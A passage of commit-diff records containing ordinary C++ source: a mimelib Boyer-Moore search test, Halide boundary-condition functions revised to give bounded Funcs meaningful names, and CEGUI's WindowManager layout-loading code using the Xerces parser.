assert( needle_cis.FindIn( haystack, 9, false ) == 22 );\n assert( needle_cis.FindIn( haystack, 23, false ) == 36 );\n assert( needle_cis.FindIn( haystack, 37, false ) == DwString::npos );\n\n assert( Needle_cs.FindIn( haystack, 0 ) == 8 );\n assert( Needle_cs.FindIn( haystack, 9 ) == DwString::npos );\n\n assert( Needle_cis.FindIn( haystack, 0, false ) == 8 );\n assert( Needle_cis.FindIn( haystack, 9, false ) == 22 );\n assert( Needle_cis.FindIn( haystack, 23, false ) == 36 );\n assert( Needle_cis.FindIn( haystack, 37, false ) == DwString::npos );\n\n assert( neeDle_cs.FindIn( haystack, 0 ) == 36 );\n assert( neeDle_cs.FindIn( haystack, 37 ) == DwString::npos );\n\n assert( neeDle_cis.FindIn( haystack, 0, false ) == 8 );\n assert( neeDle_cis.FindIn( haystack, 9, false ) == 22 );\n assert( neeDle_cis.FindIn( haystack, 23, false ) == 36 );\n assert( neeDle_cis.FindIn( haystack, 37, false ) == DwString::npos );\n\n } else {\n cerr << \"usage: test_boyermor [ <needle> <haystack> ]\" << endl;\n exit( 1 );\n }\n\n return 0;\n};\n<commit_msg>pedantic++<commit_after>#include <mimelib\/boyermor.h>\n#include <mimelib\/string.h>\n\n#include <iostream>\nusing std::cerr;\nusing std::cout;\nusing std::endl;\n\nstatic const char * _haystack =\n \"haystackNeedleHaystackneedlehaYstackneeDlehaystack\";\n\nint main( int argc, char * argv[] ) {\n\n if ( argc == 3 ) { \/\/ manual test\n DwString needle( argv[1] );\n DwString haystack( argv[2] );\n\n DwBoyerMoore csbm( needle ); \/\/ case-sensitive\n DwBoyerMoore cisbm( needle ); \/\/ case-insensitive\n\n cout << \"Case-sensitive search found \";\n for ( size_t idx = 0 ; ( idx = csbm.FindIn( haystack, idx ) ) != DwString::npos ; ++idx )\n cout << (int)idx << \" \";\n cout << endl;\n cout << \"Case-insensitive search found \";\n for ( size_t idx = 0 ; ( idx = cisbm.FindIn( haystack, idx, false ) ) != DwString::npos ; ++idx )\n cout << (int)idx << \" \";\n cout << endl;\n exit( 0 );\n } else if ( argc == 1 ) { \/\/ automated test\n DwString haystack( _haystack );\n\n DwBoyerMoore needle_cs( \"needle\" );\n DwBoyerMoore needle_cis( \"needle\" );\n DwBoyerMoore Needle_cs( \"Needle\" );\n DwBoyerMoore Needle_cis( \"Needle\" );\n DwBoyerMoore neeDle_cs( \"neeDle\" );\n DwBoyerMoore neeDle_cis( \"neeDle\" );\n\n assert( needle_cs.FindIn( haystack, 0 ) == 22 );\n assert( needle_cs.FindIn( haystack, 23 ) == DwString::npos );\n\n assert( needle_cis.FindIn( haystack, 0, false ) == 8 );\n assert( needle_cis.FindIn( haystack, 9, false ) == 22 );\n assert( needle_cis.FindIn( haystack, 23, false ) == 36 );\n assert( needle_cis.FindIn( haystack, 37, false ) == DwString::npos );\n\n assert( Needle_cs.FindIn( haystack, 0 ) == 8 );\n assert( Needle_cs.FindIn( haystack, 9 ) == DwString::npos );\n\n assert( Needle_cis.FindIn( haystack, 0, false ) == 8 );\n assert( Needle_cis.FindIn( haystack, 9, false ) == 22 );\n assert( Needle_cis.FindIn( haystack, 23, false ) == 36 );\n assert( Needle_cis.FindIn( haystack, 37, false ) == DwString::npos );\n\n assert( neeDle_cs.FindIn( haystack, 0 ) == 36 );\n assert( neeDle_cs.FindIn( haystack, 37 ) == DwString::npos );\n\n assert( neeDle_cis.FindIn( haystack, 0, false ) == 8 );\n assert( neeDle_cis.FindIn( haystack, 9, false ) == 22 );\n assert( neeDle_cis.FindIn( haystack, 23, false ) == 36 );\n assert( neeDle_cis.FindIn( haystack, 37, false ) == DwString::npos );\n\n } else {\n cerr << \"usage: test_boyermor [ <needle> <haystack> ]\" << endl;\n exit( 1 );\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"BoundaryConditions.h\"\n\nnamespace Halide {\n\nnamespace BoundaryConditions {\n\nFunc repeat_edge(const Func &source,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"repeat_edge called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << args.size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n Func bounded;\n\n std::vector<Expr> actuals;\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = args[i];\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n actuals.push_back(clamp(likely(arg_var), min, min + extent - 1));\n } else if (!min.defined() && !extent.defined()) {\n actuals.push_back(arg_var);\n } else {\n user_error << \"Partially undefined bounds for \" << arg_var << \"\\n\";\n }\n }\n\n \/\/ If there were fewer bounds than dimensions, regard the ones at the end as unbounded.\n actuals.insert(actuals.end(), args.begin() + actuals.size(), args.end());\n\n bounded(args) = source(actuals);\n return bounded;\n}\n\nFunc constant_exterior(const Func &source, Expr value,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"constant_exterior called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << source.args().size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n Func bounded;\n\n Expr out_of_bounds = cast<bool>(false);\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = source.args()[i];\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n out_of_bounds = (out_of_bounds ||\n arg_var < min ||\n arg_var >= min + extent);\n } else if (min.defined() || extent.defined()) {\n user_error << \"Partially undefined bounds for \" << arg_var << \"\\n\";\n }\n }\n\n bounded(args) = select(out_of_bounds, value, repeat_edge(source, bounds)(args));\n\n return bounded;\n}\n\n\n\nFunc repeat_image(const Func &source,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"repeat_image called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << args.size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n std::vector<Expr> actuals;\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = args[i];\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n Expr coord = arg_var - min; \/\/ Enforce zero origin.\n coord = coord % extent; \/\/ Range is 0 to w-1\n coord = coord + min; \/\/ Restore correct min\n\n\n coord = select(arg_var < min || arg_var >= min + extent, coord,\n clamp(likely(arg_var), min, min + extent - 1));\n\n actuals.push_back(coord);\n } else if (!min.defined() && !extent.defined()) {\n actuals.push_back(arg_var);\n } else {\n user_error << \"Partially undefined bounds for \" << arg_var << \"\\n\";\n }\n }\n\n \/\/ If there were fewer bounds than dimensions, regard the ones at the end as unbounded.\n internal_assert(args.begin() + actuals.size() == args.end());\n actuals.insert(actuals.end(), args.begin() + actuals.size(), args.end());\n\n Func bounded;\n bounded(args) = source(actuals);\n\n return bounded;\n}\n\nFunc mirror_image(const Func &source,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"mirror_image called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << args.size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n std::vector<Expr> actuals;\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = args[i];\n\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n Expr coord = arg_var - min; \/\/ Enforce zero origin.\n coord = coord % (2 * extent); \/\/ Range is 0 to 2w-1\n coord = select(coord >= extent, 2 * extent - 1 - coord, coord); \/\/ Range is -w+1, w\n coord = coord + min; \/\/ Restore correct min\n coord = clamp(coord, min, min + extent - 1);\n coord = select(arg_var < min || arg_var >= min + extent, coord,\n clamp(likely(arg_var), min, min + extent-1));\n actuals.push_back(coord);\n } else if (!min.defined() && !extent.defined()) {\n actuals.push_back(arg_var);\n } else {\n user_error << \"Partially undefined bounds for \" << arg_var << \"\\n\";\n }\n }\n\n \/\/ If there were fewer bounds than dimensions, regard the ones at the end as unbounded.\n actuals.insert(actuals.end(), args.begin() + actuals.size(), args.end());\n\n Func bounded;\n\n bounded(args) = source(actuals);\n\n return bounded;\n}\n\nFunc mirror_interior(const Func &source,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"mirror_interior called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << args.size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n Func mirrored;\n\n std::vector<Expr> actuals;\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = args[i];\n\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n Expr limit = extent - 1;\n Expr coord = arg_var - min; \/\/ Enforce zero origin.\n coord = coord % (2 * limit); \/\/ Range is 0 to 2w-1\n coord = coord - limit; \/\/ Range is -w, w\n coord = abs(coord); \/\/ Range is 0, w\n coord = limit - coord; \/\/ Range is 0, w\n coord = coord + min; \/\/ Restore correct min\n\n \/\/ The boundary condition probably doesn't apply\n coord = select(arg_var < min || arg_var >= min + extent, coord,\n clamp(likely(arg_var), min, min + extent - 1));\n\n actuals.push_back(coord);\n } else if (!min.defined() && !extent.defined()) {\n actuals.push_back(arg_var);\n } else {\n user_error << \"Partially undefined bounds for \" << arg_var << \"\\n\";\n }\n }\n\n \/\/ If there were fewer bounds than dimensions, regard the ones at the end as unbounded.\n actuals.insert(actuals.end(), args.begin() + actuals.size(), args.end());\n\n Func bounded;\n bounded(args) = source(actuals);\n\n return bounded;\n}\n\n}\n\n}\n<commit_msg>Generated meaningful name for bounded Funcs, a few small cleanups.<commit_after>#include \"BoundaryConditions.h\"\n\nnamespace Halide {\n\nnamespace BoundaryConditions {\n\nFunc repeat_edge(const Func &source,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"repeat_edge called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << args.size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n std::vector<Expr> actuals;\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = args[i];\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n actuals.push_back(clamp(likely(arg_var), min, min + extent - 1));\n } else if (!min.defined() && !extent.defined()) {\n actuals.push_back(arg_var);\n } else {\n user_error << \"Partially undefined bounds for dimension \" << arg_var\n << \" of Func \" << source.name() << \"\\n\";\n }\n }\n\n \/\/ If there were fewer bounds than dimensions, regard the ones at the end as unbounded.\n actuals.insert(actuals.end(), args.begin() + actuals.size(), args.end());\n\n Func bounded(source.name() + \"_bounded\");\n bounded(args) = source(actuals);\n\n return bounded;\n}\n\nFunc constant_exterior(const Func &source, Expr value,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"constant_exterior called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << source.args().size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n Expr out_of_bounds = cast<bool>(false);\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = source.args()[i];\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n out_of_bounds = (out_of_bounds ||\n arg_var < min ||\n arg_var >= min + extent);\n } else if (min.defined() || extent.defined()) {\n user_error << \"Partially undefined bounds for dimension \" << arg_var\n << \" of Func \" << source.name() << \"\\n\";\n }\n }\n\n Func bounded(source.name() + \"_bounded\");\n bounded(args) = select(out_of_bounds, value, repeat_edge(source, bounds)(args));\n\n return bounded;\n}\n\n\n\nFunc repeat_image(const Func &source,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"repeat_image called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << args.size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n std::vector<Expr> actuals;\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = args[i];\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n Expr coord = arg_var - min; \/\/ Enforce zero origin.\n coord = coord % extent; \/\/ Range is 0 to w-1\n coord = coord + min; \/\/ Restore correct min\n\n\n coord = select(arg_var < min || arg_var >= min + extent, coord,\n clamp(likely(arg_var), min, min + extent - 1));\n\n actuals.push_back(coord);\n } else if (!min.defined() && !extent.defined()) {\n actuals.push_back(arg_var);\n } else {\n user_error << \"Partially undefined bounds for dimension \" << arg_var\n << \" of Func \" << source.name() << \"\\n\";\n }\n }\n\n \/\/ If there were fewer bounds than dimensions, regard the ones at the end as unbounded.\n actuals.insert(actuals.end(), args.begin() + actuals.size(), args.end());\n\n Func bounded(source.name() + \"_bounded\");\n bounded(args) = source(actuals);\n\n return bounded;\n}\n\nFunc mirror_image(const Func &source,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"mirror_image called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << args.size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n std::vector<Expr> actuals;\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = args[i];\n\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n Expr coord = arg_var - min; \/\/ Enforce zero origin.\n coord = coord % (2 * extent); \/\/ Range is 0 to 2w-1\n coord = select(coord >= extent, 2 * extent - 1 - coord, coord); \/\/ Range is -w+1, w\n coord = coord + min; \/\/ Restore correct min\n coord = clamp(coord, min, min + extent - 1);\n coord = select(arg_var < min || arg_var >= min + extent, coord,\n clamp(likely(arg_var), min, min + extent-1));\n actuals.push_back(coord);\n } else if (!min.defined() && !extent.defined()) {\n actuals.push_back(arg_var);\n } else {\n user_error << \"Partially undefined bounds for dimension \" << arg_var\n << \" of Func \" << source.name() << \"\\n\";\n }\n }\n\n \/\/ If there were fewer bounds than dimensions, regard the ones at the end as unbounded.\n actuals.insert(actuals.end(), args.begin() + actuals.size(), args.end());\n\n Func bounded(source.name() + \"_bounded\");\n bounded(args) = source(actuals);\n\n return bounded;\n}\n\nFunc mirror_interior(const Func &source,\n const std::vector<std::pair<Expr, Expr> > &bounds) {\n std::vector<Var> args(source.args());\n user_assert(args.size() >= bounds.size()) <<\n \"mirror_interior called with more bounds (\" << bounds.size() <<\n \") than dimensions (\" << args.size() << \") Func \" <<\n source.name() << \"has.\\n\";\n\n std::vector<Expr> actuals;\n for (size_t i = 0; i < bounds.size(); i++) {\n Var arg_var = args[i];\n\n Expr min = bounds[i].first;\n Expr extent = bounds[i].second;\n\n if (min.defined() && extent.defined()) {\n Expr limit = extent - 1;\n Expr coord = arg_var - min; \/\/ Enforce zero origin.\n coord = coord % (2 * limit); \/\/ Range is 0 to 2w-1\n coord = coord - limit; \/\/ Range is -w, w\n coord = abs(coord); \/\/ Range is 0, w\n coord = limit - coord; \/\/ Range is 0, w\n coord = coord + min; \/\/ Restore correct min\n\n \/\/ The boundary condition probably doesn't apply\n coord = select(arg_var < min || arg_var >= min + extent, coord,\n clamp(likely(arg_var), min, min + extent - 1));\n\n actuals.push_back(coord);\n } else if (!min.defined() && !extent.defined()) {\n actuals.push_back(arg_var);\n } else {\n user_error << \"Partially undefined bounds for dimension \" << arg_var\n << \" of Func \" << source.name() << \"\\n\";\n }\n }\n\n \/\/ If there were fewer bounds than dimensions, regard the ones at the end as unbounded.\n actuals.insert(actuals.end(), args.begin() + actuals.size(), args.end());\n\n Func bounded(source.name() + \"_bounded\");\n bounded(args) = source(actuals);\n\n return bounded;\n}\n\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/************************************************************************\n\tfilename: \tCEGUIWindowManager.cpp\n\tcreated:\t21\/2\/2004\n\tauthor:\t\tPaul D Turner\n\t\n\tpurpose:\tImplements the WindowManager class\n*************************************************************************\/\n\/*************************************************************************\n Crazy Eddie's GUI System (http:\/\/www.cegui.org.uk)\n Copyright (C)2004 - 2005 Paul D Turner (paul@cegui.org.uk)\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*************************************************************************\/\n#include \"CEGUIWindowManager.h\"\n#include \"CEGUIWindowFactoryManager.h\"\n#include \"CEGUIWindowFactory.h\"\n#include \"CEGUIWindow.h\"\n#include \"CEGUIExceptions.h\"\n#include \"CEGUIGUILayout_xmlHandler.h\"\n\n#include <xercesc\/sax2\/SAX2XMLReader.hpp>\n#include <xercesc\/sax2\/XMLReaderFactory.hpp>\n#include \"xercesc\/framework\/MemBufInputSource.hpp\"\n\n\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/*************************************************************************\n\tStatic Data Definitions\n*************************************************************************\/\n\/\/ singleton instance pointer\ntemplate<> WindowManager* Singleton<WindowManager>::ms_Singleton\t= NULL;\n\n\n\/*************************************************************************\n\tDefinition of constant data for WindowManager\n*************************************************************************\/\n\/\/ Declared in WindowManager\nconst char\tWindowManager::GUILayoutSchemaName[]\t= \"GUILayout.xsd\";\n\n\n\/*************************************************************************\n\tDestructor\n*************************************************************************\/\nWindowManager::~WindowManager(void)\n{\n\tdestroyAllWindows();\n\n\tLogger::getSingleton().logEvent((utf8*)\"CEGUI::WindowManager singleton destroyed\");\n}\n\n\n\/*************************************************************************\n\tCreate a new window of the specified type\n*************************************************************************\/\nWindow* WindowManager::createWindow(const String& type, const String& name)\n{\n\tif (isWindowPresent(name))\n\t{\n\t\tthrow AlreadyExistsException(\"WindowManager::createWindow - A Window object with the name '\" + name +\"' already exists within the system.\");\n\t}\n\n\tWindowFactory* factory = WindowFactoryManager::getSingleton().getFactory(type);\n\n\tWindow* newWindow = factory->createWindow(name);\n\td_windowRegistry[name] = newWindow;\n\n\tLogger::getSingleton().logEvent((utf8*)\"Window '\" + name +\"' of type '\" + type + \"' has been created.\", Informative);\n\n\treturn newWindow;\n}\n\n\n\/*************************************************************************\n\tDestroy the given window by pointer\n*************************************************************************\/\nvoid WindowManager::destroyWindow(Window* window)\n{\n\tif (window != NULL)\n\t{\n\t\t\/\/ this is done because the name is used for the log after the window is destroyed,\n\t\t\/\/ if we just did getName() we would get a const ref to the Window's internal name\n\t\t\/\/ string which is destroyed along with the window so wouldn't exist when the log tried\n\t\t\/\/ to use it (as I soon discovered).\n\t\tString name = window->getName();\n\n\t\tdestroyWindow(name);\n\t}\n\n}\n\n\n\/*************************************************************************\n\tDestroy the given window by name\n*************************************************************************\/\nvoid WindowManager::destroyWindow(const String& window)\n{\n\tWindowRegistry::iterator wndpos = d_windowRegistry.find(window);\n\n\tif (wndpos != d_windowRegistry.end())\n\t{\n\t\tWindowFactory* factory = WindowFactoryManager::getSingleton().getFactory(wndpos->second->getType());\n\t\tfactory->destroyWindow(wndpos->second);\n\n\t\t\/\/ notify system object of the window destruction\n\t\tSystem::getSingleton().notifyWindowDestroyed(wndpos->second);\n\n\t\t\/\/ remove entry from the WindowRegistry.\n\t\td_windowRegistry.erase(wndpos);\n\n\t\tLogger::getSingleton().logEvent((utf8*)\"Window '\" + window + \"' has been destroyed.\", Informative);\n\t}\n\n}\n\n\n\/*************************************************************************\n\tReturn a pointer to the named window\n*************************************************************************\/\nWindow* WindowManager::getWindow(const String& name) const\n{\n\tWindowRegistry::const_iterator pos = d_windowRegistry.find(name);\n\n\tif (pos == d_windowRegistry.end())\n\t{\n\t\tthrow UnknownObjectException(\"WindowManager::getWindow - A Window object with the name '\" + name +\"' does not exist within the system\");\n\t}\n\n\treturn pos->second;\n}\n\n\n\/*************************************************************************\n\tReturn true if a window with the given name is present\n*************************************************************************\/\nbool WindowManager::isWindowPresent(const String& name) const\n{\n\treturn (d_windowRegistry.find(name) != d_windowRegistry.end());\n}\n\n\n\/*************************************************************************\n\tDestroy all Window objects\n*************************************************************************\/\nvoid WindowManager::destroyAllWindows(void)\n{\n\tString window_name;\n\twhile (!d_windowRegistry.empty())\n\t{\n\t\twindow_name = d_windowRegistry.begin()->first;\n\t\tdestroyWindow(window_name);\n\t}\n\n}\n\n\n\/*************************************************************************\n\tCreates a set of windows (a Gui layout) from the information in the\n\tspecified XML file.\t\n*************************************************************************\/\nWindow* WindowManager::loadWindowLayout(const String& filename, const String& name_prefix, PropertyCallback* callback, void* userdata)\n{\n\tXERCES_CPP_NAMESPACE_USE\n\n\tif (filename.empty() || (filename == (utf8*)\"\"))\n\t{\n\t\tthrow InvalidRequestException((utf8*)\"WindowManager::loadWindowLayout - Filename supplied for gui-layout loading must be valid.\");\n\t}\n\n\t\/\/ log the fact we are about to load a layout\n\tLogger::getSingleton().logEvent((utf8*)\"---- Beginning loading of GUI layout from '\" + filename + \"' ----\", Informative);\n\n\tSAX2XMLReader* parser = XMLReaderFactory::createXMLReader();\n\n\t\/\/ set basic settings we want from parser\n\tparser->setFeature(XMLUni::fgSAX2CoreValidation, true);\n\tparser->setFeature(XMLUni::fgSAX2CoreNameSpaces, true);\n\tparser->setFeature(XMLUni::fgXercesSchema, true);\n\tparser->setFeature(XMLUni::fgXercesValidationErrorAsFatal, true);\n\n\/\/ InputSourceContainer layoutSchemaData;\n\/\/ System::getSingleton().getResourceProvider()->loadInputSourceContainer(GUILayoutSchemaName, layoutSchemaData);\n\/\/ parser->loadGrammar(*(layoutSchemaData.getDataPtr()), Grammar::SchemaGrammarType, true);\n\n RawDataContainer rawSchemaData;\n System::getSingleton().getResourceProvider()->loadRawDataContainer(GUILayoutSchemaName, rawSchemaData);\n MemBufInputSource layoutSchemaData(rawSchemaData.getDataPtr(), rawSchemaData.getSize(), GUILayoutSchemaName, false);\n parser->loadGrammar(layoutSchemaData, Grammar::SchemaGrammarType, true);\n\n \/\/ enable grammar reuse\n parser->setFeature(XMLUni::fgXercesUseCachedGrammarInParse, true);\n\n\t\/\/ setup schema for gui-layout data\n\tXMLCh* pval = XMLString::transcode(GUILayoutSchemaName);\n\tparser->setProperty(XMLUni::fgXercesSchemaExternalNoNameSpaceSchemaLocation, pval);\n\tXMLString::release(&pval);\n\n\t\/\/ setup handler object\n\tGUILayout_xmlHandler handler(name_prefix, callback, userdata);\n\tparser->setContentHandler(&handler);\n\tparser->setErrorHandler(&handler);\n\n\/\/ InputSourceContainer layoutData;\n\/\/ System::getSingleton().getResourceProvider()->loadInputSourceContainer(filename, layoutData);\n\n RawDataContainer rawXMLData;\n System::getSingleton().getResourceProvider()->loadRawDataContainer(filename, rawXMLData);\n MemBufInputSource layoutData(rawXMLData.getDataPtr(), rawXMLData.getSize(), filename.c_str(), false);\n\n\t\/\/ do parse (which uses handler to create actual data)\n\ttry\n\t{\n\/\/ parser->parse(*(layoutData.getDataPtr()));\n parser->parse(layoutData);\n\n\t\t\/\/ log the completion of loading\n\t\tLogger::getSingleton().logEvent((utf8*)\"---- Successfully completed loading of GUI layout from '\" + filename + \"' ----\", Standard);\n\t}\n\tcatch(const XMLException& exc)\n\t{\n\t\tif (exc.getCode() != XMLExcepts::NoError)\n\t\t{\n\t\t\tdelete parser;\n\n\t\t\tchar* excmsg = XMLString::transcode(exc.getMessage());\n\t\t\tString message((utf8*)\"WindowManager::loadWindowLayout - An error occurred while parsing gui-layout file '\" + filename + \"'. Additional information: \");\n\t\t\tmessage += (utf8*)excmsg;\n\t\t\tXMLString::release(&excmsg);\n\n\t\t\tthrow FileIOException(message);\n\t\t}\n\n\t}\n\tcatch(const SAXParseException& exc)\n\t{\n\t\tdelete parser;\n\n\t\tchar* excmsg = XMLString::transcode(exc.getMessage());\n\t\tString message((utf8*)\"WindowManager::loadWindowLayout - An error occurred while parsing gui-layout file '\" + filename + \"'. Additional information: \");\n\t\tmessage += (utf8*)excmsg;\n\t\tXMLString::release(&excmsg);\n\n\t\tthrow FileIOException(message);\n\t}\n\tcatch(...)\n\t{\n\t\tdelete parser;\n\n\t\tthrow FileIOException((utf8*)\"WindowManager::loadWindowLayout - An unexpected error occurred while parsing gui-layout file '\" + filename + \"'.\");\n\t}\n\n\t\/\/ cleanup\n\tdelete parser;\n\n\treturn handler.getLayoutRootWindow();\n}\n\n\nWindowManager& WindowManager::getSingleton(void)\n{\n\treturn Singleton<WindowManager>::getSingleton();\n}\n\n\nWindowManager* WindowManager::getSingletonPtr(void)\n{\n\treturn Singleton<WindowManager>::getSingletonPtr();\n}\n\n\n\/*************************************************************************\n\tReturn a WindowManager::WindowIterator object to iterate over the\n\tcurrently defined Windows.\n*************************************************************************\/\nWindowManager::WindowIterator WindowManager::getIterator(void) const\n{\n\treturn WindowIterator(d_windowRegistry.begin(), d_windowRegistry.end());\n}\n} \/\/ End of CEGUI namespace section\n<commit_msg>Patch #1112329: Throw CEGUI layout loading errors out of xercesc parser.<commit_after>\/************************************************************************\n\tfilename: \tCEGUIWindowManager.cpp\n\tcreated:\t21\/2\/2004\n\tauthor:\t\tPaul D Turner\n\t\n\tpurpose:\tImplements the WindowManager class\n*************************************************************************\/\n\/*************************************************************************\n Crazy Eddie's GUI System (http:\/\/www.cegui.org.uk)\n Copyright (C)2004 - 2005 Paul D Turner (paul@cegui.org.uk)\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*************************************************************************\/\n#include \"CEGUIWindowManager.h\"\n#include \"CEGUIWindowFactoryManager.h\"\n#include \"CEGUIWindowFactory.h\"\n#include \"CEGUIWindow.h\"\n#include \"CEGUIExceptions.h\"\n#include \"CEGUIGUILayout_xmlHandler.h\"\n\n#include <xercesc\/sax2\/SAX2XMLReader.hpp>\n#include <xercesc\/sax2\/XMLReaderFactory.hpp>\n#include \"xercesc\/framework\/MemBufInputSource.hpp\"\n\n\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/*************************************************************************\n\tStatic Data Definitions\n*************************************************************************\/\n\/\/ singleton instance pointer\ntemplate<> WindowManager* Singleton<WindowManager>::ms_Singleton\t= NULL;\n\n\n\/*************************************************************************\n\tDefinition of constant data for WindowManager\n*************************************************************************\/\n\/\/ Declared in WindowManager\nconst char\tWindowManager::GUILayoutSchemaName[]\t= \"GUILayout.xsd\";\n\n\n\/*************************************************************************\n\tDestructor\n*************************************************************************\/\nWindowManager::~WindowManager(void)\n{\n\tdestroyAllWindows();\n\n\tLogger::getSingleton().logEvent((utf8*)\"CEGUI::WindowManager singleton destroyed\");\n}\n\n\n\/*************************************************************************\n\tCreate a new window of the specified type\n*************************************************************************\/\nWindow* WindowManager::createWindow(const String& type, const String& name)\n{\n\tif (isWindowPresent(name))\n\t{\n\t\tthrow AlreadyExistsException(\"WindowManager::createWindow - A Window object with the name '\" + name +\"' already exists within the system.\");\n\t}\n\n\tWindowFactory* factory = WindowFactoryManager::getSingleton().getFactory(type);\n\n\tWindow* newWindow = factory->createWindow(name);\n\td_windowRegistry[name] = newWindow;\n\n\tLogger::getSingleton().logEvent((utf8*)\"Window '\" + name +\"' of type '\" + type + \"' has been created.\", Informative);\n\n\treturn newWindow;\n}\n\n\n\/*************************************************************************\n\tDestroy the given window by pointer\n*************************************************************************\/\nvoid WindowManager::destroyWindow(Window* window)\n{\n\tif (window != NULL)\n\t{\n\t\t\/\/ this is done because the name is used for the log after the window is destroyed,\n\t\t\/\/ if we just did getName() we would get a const ref to the Window's internal name\n\t\t\/\/ string which is destroyed along with the window so wouldn't exist when the log tried\n\t\t\/\/ to use it (as I soon discovered).\n\t\tString name = window->getName();\n\n\t\tdestroyWindow(name);\n\t}\n\n}\n\n\n\/*************************************************************************\n\tDestroy the given window by name\n*************************************************************************\/\nvoid WindowManager::destroyWindow(const String& window)\n{\n\tWindowRegistry::iterator wndpos = d_windowRegistry.find(window);\n\n\tif (wndpos != d_windowRegistry.end())\n\t{\n\t\tWindowFactory* factory = WindowFactoryManager::getSingleton().getFactory(wndpos->second->getType());\n\t\tfactory->destroyWindow(wndpos->second);\n\n\t\t\/\/ notify system object of the window destruction\n\t\tSystem::getSingleton().notifyWindowDestroyed(wndpos->second);\n\n\t\t\/\/ remove entry from the WindowRegistry.\n\t\td_windowRegistry.erase(wndpos);\n\n\t\tLogger::getSingleton().logEvent((utf8*)\"Window '\" + window + \"' has been destroyed.\", Informative);\n\t}\n\n}\n\n\n\/*************************************************************************\n\tReturn a pointer to the named window\n*************************************************************************\/\nWindow* WindowManager::getWindow(const String& name) const\n{\n\tWindowRegistry::const_iterator pos = d_windowRegistry.find(name);\n\n\tif (pos == d_windowRegistry.end())\n\t{\n\t\tthrow UnknownObjectException(\"WindowManager::getWindow - A Window object with the name '\" + name +\"' does not exist 